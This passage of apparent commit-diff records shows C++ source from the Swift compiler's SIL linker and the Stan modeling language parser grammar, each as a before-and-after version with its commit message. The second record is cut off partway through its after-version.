*Fn) {\n      for (auto &I : BB) {\n        \/\/ Should we try linking?\n        if (visit(&I)) {\n          for (auto *F : FunctionDeserializationWorklist) {\n\n            if (!shouldImportFunction(F))\n              continue;\n\n            DEBUG(llvm::dbgs() << \"Imported function: \"\n                               << F->getName() << \"\\n\");\n            F->setBare(IsBare);\n\n            if (F->isExternalDeclaration()) {\n              if (auto *NewFn = Loader->lookupSILFunction(F)) {\n                if (NewFn->isExternalDeclaration())\n                  continue;\n\n                NewFn->verify();\n                Worklist.push_back(NewFn);\n                Result = true;\n\n                ++NumFuncLinked;\n              }\n            }\n          }\n          FunctionDeserializationWorklist.clear();\n        } else {\n          assert(FunctionDeserializationWorklist.empty() &&\n                 \"Worklist should \"\n                 \"always be empty if visit does not return true.\");\n        }\n      }\n    }\n  }\n\n  \/\/ If we return true, we deserialized at least one function.\n  return Result;\n}\n<commit_msg>SILLinker: Deserialize shared definitions too<commit_after>\/\/===--- Linker.cpp -------------------------------------------------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"sil-linker\"\n#include \"Linker.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include \"llvm\/ADT\/FoldingSet.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/ADT\/StringSwitch.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include <functional>\n\nusing namespace swift;\nusing namespace Lowering;\n\nSTATISTIC(NumFuncLinked, \"Number of SIL functions linked\");\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                                  Utility\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/\/ \\return True if the function \\p F should be imported into the current\n\/\/\/ module.\nstatic bool shouldImportFunction(SILFunction *F) {\n  \/\/ Skip functions that are marked with the 'no import' tag. These\n  \/\/ are functions that we don't want to copy from the module.\n  if (F->hasSemanticsAttr(\"stdlib_binary_only\")) {\n    \/\/ If we are importing a function declaration mark it as external since we\n    \/\/ are not importing the body.\n    if (F->isExternalDeclaration())\n      F->setLinkage(SILLinkage::PublicExternal);\n    return false;\n  }\n\n  return true;\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                               Linker Helpers\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/\/ Process F, recursively deserializing any thing F may reference.\nbool SILLinkerVisitor::processFunction(SILFunction *F) {\n  if (Mode == LinkingMode::LinkNone)\n    return false;\n\n  if (!shouldImportFunction(F))\n    return false;\n\n  \/\/ If F is a declaration, first deserialize it.\n  if (F->isExternalDeclaration()) {\n    auto *NewFn = Loader->lookupSILFunction(F);\n\n    if (!NewFn || NewFn->isExternalDeclaration())\n      return false;\n\n    F = NewFn;\n  }\n\n  ++NumFuncLinked;\n\n  \/\/ Try to transitively deserialize everything referenced by this\n  \/\/ function.\n  Worklist.push_back(F);\n  process();\n\n  \/\/ Since we successfully processed at least one function, return true.\n  return true;\n}\n\n\/\/\/ Process Decl, recursively deserializing any thing Decl may reference.\nbool SILLinkerVisitor::processDeclRef(SILDeclRef Decl) {\n  if (Mode == LinkingMode::LinkNone)\n    return false;\n\n  \/\/ If F is a declaration, first deserialize it.\n  auto *NewFn = Loader->lookupSILFunction(Decl);\n  if (!NewFn || NewFn->isExternalDeclaration())\n    return false;\n\n  if (!shouldImportFunction(NewFn)) {\n    return false;\n  }\n\n  ++NumFuncLinked;\n\n  \/\/ Try to transitively deserialize everything referenced by NewFn.\n  Worklist.push_back(NewFn);\n  process();\n\n  \/\/ Since we successfully processed at least one function, return true.\n  return true;\n}\n\n\/\/\/ Process Decl, recursively deserializing any thing Decl may reference.\nbool SILLinkerVisitor::processFunction(StringRef Name) {\n  if (Mode == LinkingMode::LinkNone)\n    return false;\n\n  \/\/ If F is a declaration, first deserialize it.\n  auto *NewFn = Loader->lookupSILFunction(Name);\n\n  if (!NewFn || NewFn->isExternalDeclaration())\n    return false;\n\n  ++NumFuncLinked;\n\n  \/\/ Try to transitively deserialize everything referenced by NewFn.\n  Worklist.push_back(NewFn);\n  process();\n\n  \/\/ Since we successfully processed at least one function, return true.\n  return true;\n}\n\n\/\/\/ Process Decl, recursively deserializing any thing Decl may reference.\nSILFunction *SILLinkerVisitor::lookupFunction(StringRef Name,\n                                              SILLinkage Linkage) {\n\n  auto *NewFn = Loader->lookupSILFunction(Name, \/* declarationOnly *\/ true,\n                                          Linkage);\n\n  if (!NewFn)\n    return nullptr;\n\n  assert(NewFn->isExternalDeclaration() &&\n         \"SIL function lookup should never read function bodies\");\n\n  return NewFn;\n}\n\n\n\/\/\/ Deserialize the VTable mapped to C if it exists and all SIL the VTable\n\/\/\/ transitively references.\n\/\/\/\n\/\/\/ This method assumes that the caller made sure that no vtable existed in\n\/\/\/ Mod.\nSILVTable *SILLinkerVisitor::processClassDecl(const ClassDecl *C) {\n  \/\/ If we are not linking anything, bail.\n  if (Mode == LinkingMode::LinkNone)\n    return nullptr;\n\n  \/\/ Attempt to load the VTable from the SerializedSILLoader. If we\n  \/\/ fail... bail...\n  SILVTable *Vtbl = Loader->lookupVTable(C);\n  if (!Vtbl)\n    return nullptr;\n\n  \/\/ Otherwise, add all the vtable functions in Vtbl to the function\n  \/\/ processing list...\n  for (auto &E : Vtbl->getEntries())\n    Worklist.push_back(E.second);\n\n  \/\/ And then transitively deserialize all SIL referenced by those functions.\n  process();\n\n  \/\/ Return the deserialized Vtbl.\n  return Vtbl;\n}\n\nbool SILLinkerVisitor::linkInVTable(ClassDecl *D) {\n  \/\/ Attempt to lookup the Vtbl from the SILModule.\n  SILVTable *Vtbl = Mod.lookUpVTable(D);\n\n  \/\/ If the SILModule does not have the VTable, attempt to deserialize the\n  \/\/ VTable. If we fail to do that as well, bail.\n  if (!Vtbl || !(Vtbl = Loader->lookupVTable(D->getName())))\n    return false;\n\n  \/\/ Ok we found our VTable. Visit each function referenced by the VTable. If\n  \/\/ any of the functions are external declarations, add them to the worklist\n  \/\/ for processing.\n  bool Result = false;\n  for (auto P : Vtbl->getEntries()) {\n    if (P.second->isExternalDeclaration()) {\n      Result = true;\n      addFunctionToWorklist(P.second);\n    }\n  }\n  return Result;\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                                  Visitors\n\/\/===----------------------------------------------------------------------===\/\/\n\nbool SILLinkerVisitor::visitApplyInst(ApplyInst *AI) {\n  \/\/ Ok we have a function ref inst, grab the callee.\n  SILFunction *Callee = AI->getReferencedFunction();\n  if (!Callee)\n    return false;\n\n  \/\/ If the linking mode is not link all, AI is not transparent, and the\n  \/\/ callee is not shared, we don't want to perform any linking.\n  if (!isLinkAll() && !Callee->isTransparent() &&\n      !hasSharedVisibility(Callee->getLinkage()))\n    return false;\n\n  \/\/ Otherwise we want to try and link in the callee... Add it to the callee\n  \/\/ list and return true.\n  addFunctionToWorklist(Callee);\n  return true;\n}\n\nbool SILLinkerVisitor::visitPartialApplyInst(PartialApplyInst *PAI) {\n  SILFunction *Callee = PAI->getReferencedFunction();\n  if (!Callee)\n    return false;\n  if (!isLinkAll() && !Callee->isTransparent() &&\n      !hasSharedVisibility(Callee->getLinkage()))\n    return false;\n\n  addFunctionToWorklist(Callee);\n  return true;\n}\n\nbool SILLinkerVisitor::visitFunctionRefInst(FunctionRefInst *FRI) {\n  \/\/ Needed to handle closures which are no longer applied, but are left\n  \/\/ behind as dead code. This shouldn't happen, but if it does don't get into\n  \/\/ an inconsistent state.\n  SILFunction *Callee = FRI->getReferencedFunction();\n  if (!isLinkAll() && !Callee->isTransparent() &&\n      !hasSharedVisibility(Callee->getLinkage()))\n    return false;\n\n  addFunctionToWorklist(FRI->getReferencedFunction());\n  return true;\n}\n\nbool SILLinkerVisitor::visitProtocolConformance(\n    ProtocolConformanceRef ref, const Optional<SILDeclRef> &Member) {\n  \/\/ If an abstract protocol conformance was passed in, just return false.\n  if (ref.isAbstract())\n    return false;\n\n  \/\/ Otherwise try and lookup a witness table for C.\n  auto C = ref.getConcrete();\n  SILWitnessTable *WT = Mod.lookUpWitnessTable(C);\n\n  \/\/ If we don't find any witness table for the conformance, bail and return\n  \/\/ false.\n  if (!WT) {\n    Mod.createWitnessTableDeclaration(\n        C, TypeConverter::getLinkageForProtocolConformance(\n               C->getRootNormalConformance(), NotForDefinition));\n    return false;\n  }\n\n  \/\/ If the looked up witness table is a declaration, there is nothing we can\n  \/\/ do here. Just bail and return false.\n  if (WT->isDeclaration())\n    return false;\n\n  bool performFuncDeserialization = false;\n  \/\/ For each entry in the witness table...\n  for (auto &E : WT->getEntries()) {\n    \/\/ If the entry is a witness method...\n    if (E.getKind() == SILWitnessTable::WitnessKind::Method) {\n      \/\/ And we are only interested in deserializing a specific requirement\n      \/\/ and don't have that requirement, don't deserialize this method.\n      if (Member.hasValue() && E.getMethodWitness().Requirement != *Member)\n        continue;\n\n      \/\/ The witness could be removed by dead function elimination.\n      if (!E.getMethodWitness().Witness)\n        continue;\n\n      \/\/ Otherwise if it is the requirement we are looking for or we just want\n      \/\/ to deserialize everything, add the function to the list of functions\n      \/\/ to deserialize.\n      performFuncDeserialization = true;\n      addFunctionToWorklist(E.getMethodWitness().Witness);\n    }\n  }\n\n  return performFuncDeserialization;\n}\n\nbool SILLinkerVisitor::visitInitExistentialAddrInst(\n    InitExistentialAddrInst *IEI) {\n  \/\/ Link in all protocol conformances that this touches.\n  \/\/\n  \/\/ TODO: There might be a two step solution where the init_existential_inst\n  \/\/ causes the witness table to be brought in as a declaration and then the\n  \/\/ protocol method inst causes the actual deserialization. For now we are\n  \/\/ not going to be smart about this to enable avoiding any issues with\n  \/\/ visiting the open_existential_addr\/witness_method before the\n  \/\/ init_existential_inst.\n  bool performFuncDeserialization = false;\n  for (ProtocolConformanceRef C : IEI->getConformances()) {\n    performFuncDeserialization |=\n        visitProtocolConformance(C, Optional<SILDeclRef>());\n  }\n  return performFuncDeserialization;\n}\n\nbool SILLinkerVisitor::visitInitExistentialRefInst(\n    InitExistentialRefInst *IERI) {\n  \/\/ Link in all protocol conformances that this touches.\n  \/\/\n  \/\/ TODO: There might be a two step solution where the init_existential_inst\n  \/\/ causes the witness table to be brought in as a declaration and then the\n  \/\/ protocol method inst causes the actual deserialization. For now we are\n  \/\/ not going to be smart about this to enable avoiding any issues with\n  \/\/ visiting the protocol_method before the init_existential_inst.\n  bool performFuncDeserialization = false;\n  for (ProtocolConformanceRef C : IERI->getConformances()) {\n    performFuncDeserialization |=\n        visitProtocolConformance(C, Optional<SILDeclRef>());\n  }\n  return performFuncDeserialization;\n}\n\nbool SILLinkerVisitor::visitAllocRefInst(AllocRefInst *ARI) {\n  \/\/ Grab the class decl from the alloc ref inst.\n  ClassDecl *D = ARI->getType().getClassOrBoundGenericClass();\n  if (!D)\n    return false;\n\n  return linkInVTable(D);\n}\n\nbool SILLinkerVisitor::visitMetatypeInst(MetatypeInst *MI) {\n  CanType instTy = MI->getType().castTo<MetatypeType>().getInstanceType();\n  ClassDecl *C = instTy.getClassOrBoundGenericClass();\n  if (!C)\n    return false;\n\n  return linkInVTable(C);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                             Top Level Routine\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ Main loop of the visitor. Called by one of the other *visit* methods.\nbool SILLinkerVisitor::process() {\n  \/\/ Process everything transitively referenced by one of the functions in the\n  \/\/ worklist.\n  bool Result = false;\n  while (!Worklist.empty()) {\n    auto *Fn = Worklist.pop_back_val();\n\n    if (!shouldImportFunction(Fn))\n      continue;\n\n    DEBUG(llvm::dbgs() << \"Process imports in function: \"\n                       << Fn->getName() << \"\\n\");\n\n    for (auto &BB : *Fn) {\n      for (auto &I : BB) {\n        \/\/ Should we try linking?\n        if (visit(&I)) {\n          for (auto *F : FunctionDeserializationWorklist) {\n\n            if (!shouldImportFunction(F))\n              continue;\n\n            DEBUG(llvm::dbgs() << \"Imported function: \"\n                               << F->getName() << \"\\n\");\n            F->setBare(IsBare);\n\n            if (F->isExternalDeclaration()) {\n              if (auto *NewFn = Loader->lookupSILFunction(F)) {\n                if (NewFn->isExternalDeclaration())\n                  continue;\n\n                NewFn->verify();\n                Worklist.push_back(NewFn);\n                Result = true;\n\n                ++NumFuncLinked;\n              }\n            }\n          }\n          FunctionDeserializationWorklist.clear();\n        } else {\n          assert(FunctionDeserializationWorklist.empty() &&\n                 \"Worklist should \"\n                 \"always be empty if visit does not return true.\");\n        }\n      }\n    }\n  }\n\n  \/\/ If we return true, we deserialized at least one function.\n  return Result;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef __STAN__GM__PARSER__PROGRAM_GRAMMAR_DEF__HPP__\n#define __STAN__GM__PARSER__PROGRAM_GRAMMAR_DEF__HPP__\n\n#include <cstddef>\n#include <iomanip>\n#include <iostream>\n#include <istream>\n#include <map>\n#include <set>\n#include <sstream>\n#include <string>\n#include <utility>\n#include <vector>\n#include <stdexcept>\n\n#include <boost\/spirit\/include\/qi.hpp>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/fusion\/include\/adapt_struct.hpp>\n#include <boost\/fusion\/include\/std_pair.hpp>\n#include <boost\/config\/warning_disable.hpp>\n#include <boost\/spirit\/include\/qi_numeric.hpp>\n#include <boost\/spirit\/include\/phoenix_core.hpp>\n#include <boost\/spirit\/include\/phoenix_function.hpp>\n#include <boost\/spirit\/include\/phoenix_fusion.hpp>\n#include <boost\/spirit\/include\/phoenix_object.hpp>\n#include <boost\/spirit\/include\/phoenix_operator.hpp>\n#include <boost\/spirit\/include\/phoenix_stl.hpp>\n#include <boost\/spirit\/include\/support_multi_pass.hpp>\n#include <boost\/tuple\/tuple.hpp>\n#include <boost\/variant\/apply_visitor.hpp>\n#include <boost\/variant\/recursive_variant.hpp>\n\n#include <boost\/spirit\/include\/version.hpp>\n#include <boost\/spirit\/home\/support\/iterators\/line_pos_iterator.hpp>\n\n#include <stan\/gm\/ast.hpp>\n#include <stan\/gm\/grammars\/whitespace_grammar.hpp>\n#include <stan\/gm\/grammars\/expression_grammar.hpp>\n#include <stan\/gm\/grammars\/var_decls_grammar.hpp>\n#include <stan\/gm\/grammars\/statement_grammar.hpp>\n#include <stan\/gm\/grammars\/program_grammar.hpp>\n\nnamespace {\n  \/\/ hack to pass pair into macro below to adapt; in namespace to hide\n  struct DUMMY_STRUCT {\n    typedef std::pair<std::vector<stan::gm::var_decl>,\n                      std::vector<stan::gm::statement> > type;\n  };\n}\n\n\nBOOST_FUSION_ADAPT_STRUCT(stan::gm::program,\n                          (std::vector<stan::gm::var_decl>, data_decl_)\n                          (DUMMY_STRUCT::type, derived_data_decl_)\n                          (std::vector<stan::gm::var_decl>, parameter_decl_)\n                          (DUMMY_STRUCT::type, derived_decl_)\n                          (stan::gm::statement, statement_)\n                          (DUMMY_STRUCT::type, generated_decl_) )\n\n\nnamespace stan {\n\n  namespace gm {\n\n    struct add_lp_var {\n      template <typename T>\n      struct result { typedef void type; };\n      void operator()(variable_map& vm) const {\n        vm.add(\"lp__\",\n               base_var_decl(\"lp__\",std::vector<expression>(),DOUBLE_T),\n               local_origin); \/\/ lp acts as a local where defined\n      }\n    };\n    boost::phoenix::function<add_lp_var> add_lp_var_f;\n\n    struct remove_lp_var {\n      template <typename T>\n      struct result { typedef void type; };\n      void operator()(variable_map& vm) const {\n        vm.remove(\"lp__\");\n      }\n    };\n    boost::phoenix::function<remove_lp_var> remove_lp_var_f;\n\n    struct program_error {\n      template <typename T1, typename T2, typename ,\n        typename T4, typename T5, typename T6, typename T7>\n      struct result { typedef void type; };\n\n      template <class Iterator, class I>\n      void operator()(\n        Iterator _begin, \n        Iterator _end, \n        Iterator _where, \n        I const& _info,\n        std::string msg,\n        variable_map& vm,\n        std::stringstream& error_msgs) const {\n\n        error_msgs << msg\n                   << std::endl;\n\n        using boost::phoenix::construct;\n        using boost::phoenix::val;\n\n        std::basic_stringstream<char> pre_error_section;\n        pre_error_section << boost::make_iterator_range (_begin, _where);\n        char last_char;\n        std::string correct_section = \"\";\n        while (!pre_error_section.eof()) {\n          last_char = (char)pre_error_section.get();\n          correct_section += last_char;\n        }\n\n        int indx = correct_section.size();\n        correct_section = correct_section.erase(indx-1, indx);\n\n        \/\/\n        \/\/  Clean up whatever is before the error occurred\n        \/\/\n        \/\/  Would be better to use the parser to select which \n        \/\/  section in the stan file contains the parsing error.\n        \/\/\n\n        std::vector<std::string> sections;\n        sections.push_back(\"generated\");\n        sections.push_back(\"model\");\n        sections.push_back(\"transformed\");\n        sections.push_back(\"parameter\");\n        sections.push_back(\"data\");\n\n        \/\/bool found_section = false; \/\/ FIXME: do something with found_section\n        indx = 0;\n\n        for (size_t i = 0; i < sections.size(); ++i) {\n          std::string section = sections[i];\n          indx = correct_section.find(section);\n          if (!(indx == std::string::npos)) {\n            if (i == 2) {\n              \/\/ Check which transformed block we're dealing with.\n              \/\/ If there is another transformed section, it must be\n              \/\/ a 'transformed parameters' section\n              int indx2 = correct_section.find(\"transformed\", indx + 5);\n              if (!(indx2 == std::string::npos)) {\n                indx = indx2;\n              } else {\n                \/\/ No second transformed section, but maybe there\n                \/\/ is a parameter block?\n                indx2 = correct_section.find(\"parameters\", indx2);\n                if (!(indx2 == std::string::npos)) {\n                  indx = indx2;\n                }\n                \/\/ Ok, we found a 'transformed data' block.\n                \/\/ indx is pointing at it.\n              }\n            }\n            \/\/found_section = true;\n            correct_section = correct_section.erase(0, indx);\n            break;\n          }\n        }\n\n        \/\/\n        \/\/  Clean up whatever comes after the error occurred\n        \/\/\n        std::basic_stringstream<char> error_section;\n        error_section << boost::make_iterator_range (_where, _end);\n        last_char = ' ';\n        std::string rest_of_section = \"\";\n        while (!error_section.eof() && !(last_char == '}')) {\n          last_char = (char)error_section.get();\n          rest_of_section += last_char;\n          \/\/std::cout << rest_of_section.size() << std::endl;\n          if (error_section.eof() && rest_of_section.size() == 1) {\n            rest_of_section = \"'end of file'\";\n          }\n        }\n\n        if (!(get_line(_where) == -1)) {\n          error_msgs\n            << std::endl\n            << \"LOCATION OF PARSING ERROR (line = \"\n            << get_line(_where)\n            << \", position = \"\n            << get_column(_begin, _where) - 1\n            <<  \"):\"\n            << std::endl\n            << std::endl\n            << \"PARSED:\"\n            << std::endl\n            << std::endl\n            << correct_section\n            << std::endl\n            << std::endl\n            << \"EXPECTED: \" << _info\n            << \" BUT FOUND: \" \n            << std::endl\n            << std::endl\n            << rest_of_section\n            << std::endl;\n        }\n      }\n    };\n    boost::phoenix::function<program_error> program_error_f;\n\n    template <typename Iterator>\n    program_grammar<Iterator>::program_grammar(const std::string& model_name) \n        : program_grammar::base_type(program_r),\n          model_name_(model_name),\n          var_map_(),\n          error_msgs_(),\n          expression_g(var_map_,error_msgs_),\n          var_decls_g(var_map_,error_msgs_),\n          statement_g(var_map_,error_msgs_) {\n\n        using boost::spirit::qi::eps;\n        using boost::spirit::qi::lit;\n\n        \/\/ add model_name to var_map with special origin and no \n        var_map_.add(model_name,\n                     base_var_decl(),\n                     model_name_origin);\n\n        program_r.name(\"program\");\n        program_r \n          %= -data_var_decls_r\n          > -derived_data_var_decls_r\n          > -param_var_decls_r\n          \/\/ scope lp__ to \"transformed params\" and \"model\" only\n          > eps[add_lp_var_f(boost::phoenix::ref(var_map_))]\n          > -derived_var_decls_r\n          > model_r\n          > eps[remove_lp_var_f(boost::phoenix::ref(var_map_))]\n          > -generated_var_decls_r\n          ;\n\n        model_r.name(\"model declaration\");\n        model_r \n          %= lit(\"model\")\n          > statement_g(true,local_origin)  \/\/ assign only to locals\n          ;\n\n        data_var_decls_r.name(\"data variable declarations\");\n        data_var_decls_r\n          %= lit(\"data\")\n          > lit('{')\n          > var_decls_g(true,data_origin) \/\/ +constraints\n          > lit('}');\n\n        derived_data_var_decls_r.name(\"transformed data block\");\n        derived_data_var_decls_r\n          %= ( lit(\"transformed\")\n               >> lit(\"data\") )\n          > lit('{')\n          > var_decls_g(true,transformed_data_origin)  \/\/ -constraints\n          > *statement_g(false,transformed_data_origin) \/\/ -sampling\n          > lit('}');\n\n        param_var_decls_r.name(\"parameter variable declarations\");\n        param_var_decls_r\n          %= lit(\"parameters\")\n          > lit('{')\n          > var_decls_g(true,parameter_origin) \/\/ +constraints\n          > lit('}');\n\n        derived_var_decls_r.name(\"derived variable declarations\");\n        derived_var_decls_r\n          %= ( lit(\"transformed\")\n               >> lit(\"parameters\") )\n          > lit('{')\n          > var_decls_g(true,transformed_parameter_origin) \/\/ -constraints\n          > *statement_g(false,transformed_parameter_origin) \/\/ -sampling\n          > lit('}');\n\n        generated_var_decls_r.name(\"generated variable declarations\");\n        generated_var_decls_r\n          %= lit(\"generated\")\n          > lit(\"quantities\")\n          > lit('{')\n          > var_decls_g(true,derived_origin) \/\/ -constraints\n          > *statement_g(false,derived_origin) \/\/ -sampling\n          > lit('}');\n\n        using boost::spirit::qi::on_error;\n        using boost::spirit::qi::rethrow;\n        using namespace boost::spirit::qi::labels;\n\n        on_error<rethrow>(\n          program_r,\n          program_error_f(\n            _1, _2, _3, _4 ,\n            \"\",\n            boost::phoenix::ref(var_map_),\n            boost::phoenix::ref(error_msgs_)\n          )\n        ); \n    }\n\n  }\n}\n\n#endif\n<commit_msg>squashing more warnings<commit_after>#ifndef __STAN__GM__PARSER__PROGRAM_GRAMMAR_DEF__HPP__\n#define __STAN__GM__PARSER__PROGRAM_GRAMMAR_DEF__HPP__\n\n#include <cstddef>\n#include <iomanip>\n#include <iostream>\n#include <istream>\n#include <map>\n#include <set>\n#include <sstream>\n#include <string>\n#include <utility>\n#include <vector>\n#include <stdexcept>\n\n#include <boost\/spirit\/include\/qi.hpp>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/fusion\/include\/adapt_struct.hpp>\n#include <boost\/fusion\/include\/std_pair.hpp>\n#include <boost\/config\/warning_disable.hpp>\n#include <boost\/spirit\/include\/qi_numeric.hpp>\n#include <boost\/spirit\/include\/phoenix_core.hpp>\n#include <boost\/spirit\/include\/phoenix_function.hpp>\n#include <boost\/spirit\/include\/phoenix_fusion.hpp>\n#include <boost\/spirit\/include\/phoenix_object.hpp>\n#include <boost\/spirit\/include\/phoenix_operator.hpp>\n#include <boost\/spirit\/include\/phoenix_stl.hpp>\n#include <boost\/spirit\/include\/support_multi_pass.hpp>\n#include <boost\/tuple\/tuple.hpp>\n#include <boost\/variant\/apply_visitor.hpp>\n#include <boost\/variant\/recursive_variant.hpp>\n\n#include <boost\/spirit\/include\/version.hpp>\n#include <boost\/spirit\/home\/support\/iterators\/line_pos_iterator.hpp>\n\n#include <stan\/gm\/ast.hpp>\n#include <stan\/gm\/grammars\/whitespace_grammar.hpp>\n#include <stan\/gm\/grammars\/expression_grammar.hpp>\n#include <stan\/gm\/grammars\/var_decls_grammar.hpp>\n#include <stan\/gm\/grammars\/statement_grammar.hpp>\n#include <stan\/gm\/grammars\/program_grammar.hpp>\n\nnamespace {\n  \/\/ hack to pass pair into macro below to adapt; in namespace to hide\n  struct DUMMY_STRUCT {\n    typedef std::pair<std::vector<stan::gm::var_decl>,\n                      std::vector<stan::gm::statement> > type;\n  };\n}\n\n\nBOOST_FUSION_ADAPT_STRUCT(stan::gm::program,\n                          (std::vector<stan::gm::var_decl>, data_decl_)\n                          (DUMMY_STRUCT::type, derived_data_decl_)\n                          (std::vector<stan::gm::var_decl>, parameter_decl_)\n                          (DUMMY_STRUCT::type, derived_decl_)\n                          (stan::gm::statement, statement_)\n                          (DUMMY_STRUCT::type, generated_decl_) )\n\n\nnamespace stan {\n\n  namespace gm {\n\n    struct add_lp_var {\n      template <typename T>\n      struct result { typedef void type; };\n      void operator()(variable_map& vm) const {\n        vm.add(\"lp__\",\n               base_var_decl(\"lp__\",std::vector<expression>(),DOUBLE_T),\n               local_origin); \/\/ lp acts as a local where defined\n      }\n    };\n    boost::phoenix::function<add_lp_var> add_lp_var_f;\n\n    struct remove_lp_var {\n      template <typename T>\n      struct result { typedef void type; };\n      void operator()(variable_map& vm) const {\n        vm.remove(\"lp__\");\n      }\n    };\n    boost::phoenix::function<remove_lp_var> remove_lp_var_f;\n\n    struct program_error {\n      template <typename T1, typename T2, typename ,\n        typename T4, typename T5, typename T6, typename T7>\n      struct result { typedef void type; };\n\n      template <class Iterator, class I>\n      void operator()(\n        Iterator _begin, \n        Iterator _end, \n        Iterator _where, \n        I const& _info,\n        std::string msg,\n        variable_map& vm,\n        std::stringstream& error_msgs) const {\n\n        error_msgs << msg\n                   << std::endl;\n\n        using boost::phoenix::construct;\n        using boost::phoenix::val;\n\n        std::basic_stringstream<char> pre_error_section;\n        pre_error_section << boost::make_iterator_range (_begin, _where);\n        char last_char;\n        std::string correct_section = \"\";\n        while (!pre_error_section.eof()) {\n          last_char = (char)pre_error_section.get();\n          correct_section += last_char;\n        }\n\n        size_t indx = correct_section.size();\n        correct_section = correct_section.erase(indx-1, indx);\n\n        \/\/\n        \/\/  Clean up whatever is before the error occurred\n        \/\/\n        \/\/  Would be better to use the parser to select which \n        \/\/  section in the stan file contains the parsing error.\n        \/\/\n\n        std::vector<std::string> sections;\n        sections.push_back(\"generated\");\n        sections.push_back(\"model\");\n        sections.push_back(\"transformed\");\n        sections.push_back(\"parameter\");\n        sections.push_back(\"data\");\n\n        \/\/bool found_section = false; \/\/ FIXME: do something with found_section\n        indx = 0;\n\n        for (size_t i = 0; i < sections.size(); ++i) {\n          std::string section = sections[i];\n          indx = correct_section.find(section);\n          if (!(indx == std::string::npos)) {\n            if (i == 2) {\n              \/\/ Check which transformed block we're dealing with.\n              \/\/ If there is another transformed section, it must be\n              \/\/ a 'transformed parameters' section\n              int indx2 = correct_section.find(\"transformed\", indx + 5);\n              if (!(indx2 == std::string::npos)) {\n                indx = indx2;\n              } else {\n                \/\/ No second transformed section, but maybe there\n                \/\/ is a parameter block?\n                indx2 = correct_section.find(\"parameters\", indx2);\n                if (!(indx2 == std::string::npos)) {\n                  indx = indx2;\n                }\n                \/\/ Ok, we found a 'transformed data' block.\n                \/\/ indx is pointing at it.\n              }\n            }\n            \/\/found_section = true;\n            correct_section = correct_section.erase(0, indx);\n            break;\n          }\n        }\n\n        \/\/\n        \/\/  Clean up whatever comes after the error occurred\n        \/\/\n        std::basic_stringstream<char> error_section;\n        error_section << boost::make_iterator_range (_where, _end);\n        last_char = ' ';\n        std::string rest_of_section = \"\";\n        while (!error_section.eof() && !(last_char == '}')) {\n          last_char = (char)error_section.get();\n          rest_of_section += last_char;\n          \/\/std::cout << rest_of_section.size() << std::endl;\n          if (error_section.eof() && rest_of_section.size() == 1) {\n            rest_of_section = \"'end of file'\";\n          }\n        }\n\n        if (!(get_line(_where) == std::string::npos)) {\n          error_msgs\n            << std::endl\n            << \"LOCATION OF PARSING ERROR (line = \"\n            << get_line(_where)\n            << \", position = \"\n            << get_column(_begin, _where) - 1\n            <<  \"):\"\n            << std::endl\n            << std::endl\n            << \"PARSED:\"\n            << std::endl\n            << std::endl\n            << correct_section\n            << std::endl\n            << std::endl\n            << \"EXPECTED: \" << _info\n            << \" BUT FOUND: \" \n            << std::endl\n            << std::endl\n            << rest_of_section\n            << std::endl;\n        }\n      }\n    };\n    boost::phoenix::function<program_error> program_error_f;\n\n    template <typename Iterator>\n    program_grammar<Iterator>::program_grammar(const std::string& model_name) \n        : program_grammar::base_type(program_r),\n          model_name_(model_name),\n          var_map_(),\n          error_msgs_(),\n          expression_g(var_map_,error_msgs_),\n          var_decls_g(var_map_,error_msgs_),\n          statement_g(var_map_,error_msgs_) {\n\n        using boost::spirit::qi::eps;\n        using boost::spirit::qi::lit;\n\n        \/\/ add model_name to var_map with special origin and no \n        var_map_.add(model_name,\n                     base_var_decl(),\n                     model_name_origin);\n\n        program_r.name(\"program\");\n        program_r \n          %= -data_var_decls_r\n          > -derived_data_var_decls_r\n          > -param_var_decls_r\n          \/\/ scope lp__ to \"transformed params\" and \"model\" only\n          > eps[add_lp_var_f(boost::phoenix::ref(var_map_))]\n          > -derived_var_decls_r\n          > model_r\n          > eps[remove_lp_var_f(boost::phoenix::ref(var_map_))]\n          > -generated_var_decls_r\n          ;\n\n        model_r.name(\"model declaration\");\n        model_r \n          %= lit(\"model\")\n          > statement_g(true,local_origin)  \/\/ assign only to locals\n          ;\n\n        data_var_decls_r.name(\"data variable declarations\");\n        data_var_decls_r\n          %= lit(\"data\")\n          > lit('{')\n          > var_decls_g(true,data_origin) \/\/ +constraints\n          > lit('}');\n\n        derived_data_var_decls_r.name(\"transformed data block\");\n        derived_data_var_decls_r\n          %= ( lit(\"transformed\")\n               >> lit(\"data\") )\n          > lit('{')\n          > var_decls_g(true,transformed_data_origin)  \/\/ -constraints\n          > *statement_g(false,transformed_data_origin) \/\/ -sampling\n          > lit('}');\n\n        param_var_decls_r.name(\"parameter variable declarations\");\n        param_var_decls_r\n          %= lit(\"parameters\")\n          > lit('{')\n          > var_decls_g(true,parameter_origin) \/\/ +constraints\n          > lit('}');\n\n        derived_var_decls_r.name(\"derived variable declarations\");\n        derived_var_decls_r\n          %= ( lit(\"transformed\")\n               >> lit(\"parameters\") )\n          > lit('{')\n          > var_decls_g(true,transformed_parameter_origin) \/\/ -constraints\n          > *statement_g(false,transformed_parameter_origin) \/\/ -sampling\n          > lit('}');\n\n        generated_var_decls_r.name(\"generated variable declarations\");\n        generated_var_decls_r\n          %= lit(\"generated\")\n          > lit(\"quantities\")\n          > lit('{')\n          > 